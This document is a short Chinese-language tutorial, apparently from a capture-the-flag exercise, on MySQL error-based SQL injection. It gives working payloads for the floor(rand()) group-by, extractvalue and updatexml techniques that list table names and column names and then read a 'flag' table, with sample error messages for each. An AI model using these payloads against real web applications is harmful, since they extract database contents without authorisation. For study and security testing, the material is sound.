查询表名

?id=1 and(select 1 from(select count(*),concat((select table_name from information_schema.tables where table_schema=database()),floor(rand(0)*2))x from information_schema.tables group by x)a)

该查询尝试获取当前数据库中的表名。floor(rand(0)*2)生成一个随机数域，结合information_schema.tables中表名，通过报错信息提取出表名。

报错示例：

Duplicate entry 'flag1' for key 'group_key'

通过注入过程，可以发现数据库中包含多个表，需要进一步限制查询范围。

查询列名

?id=1 and(select 1 from(select count(*),concat((select column_name from information_schema.columns where table_name="flag"),floor(rand(0)*2))x from information_schema.tables group by x)a)

该查询针对已知的表名获取列名。通过报错信息，可以查看具体的列是否存在，并提取列名。

查值

?id=1 and(select 1 from(select count(*),concat((select flag from flag),floor(rand(0)*2))x from information_schema.tables group by x)a)

该查询用于从表中获取特定的字段值。通过报错信息，可以获取字段值。

查询表名

?id=1 and (extractvalue(1,concat(0x5c,(select table_name from information_schema.tables where table_schema=database() limit 1,1))))

该查询尝试提取指定路径中的内容。使用0x5c生成反斜杠，结合table_name，形成有效的XPATH路径，提取表名。

报错示例：

XPATH syntax error: '\flag'

通过修正XPATH路径，可以正确提取表名。

查询列名

?id=1 and (extractvalue(1,concat(0x5c,(select column_name from information_schema.columns where table_name="flag"))))

该查询用于获取指定表的列名。通过构造有效的XPATH路径，提取列名。

查值

?id=1 and (extractvalue(1,concat(0x5c,(select flag from flag))))

该查询用于获取特定字段的值。通过构造有效的XPATH路径，提取字段值。

查询表名

?id=1 and(updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e),1))

该查询尝试修改XML数据中的内容。通过构造标签和特定路径，通过报错信息获取表名。

报错示例：

XPATH syntax error: '~flag~'

通过修正标签，确保XPATH路径正确，可以交互获取所需信息。

查询列名

?id=1 and(updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name="flag"),0x7e),1))

该查询用于获取指定表的列名。通过构造有效的标签和XPATH路径，提取列名。

查值

?id=1 and(updatexml(1,concat(0x7e,(select flag from flag),0x7e),1))

该查询用于获取特定字段的值。通过构造有效的标签和XPATH路径，提取字段值。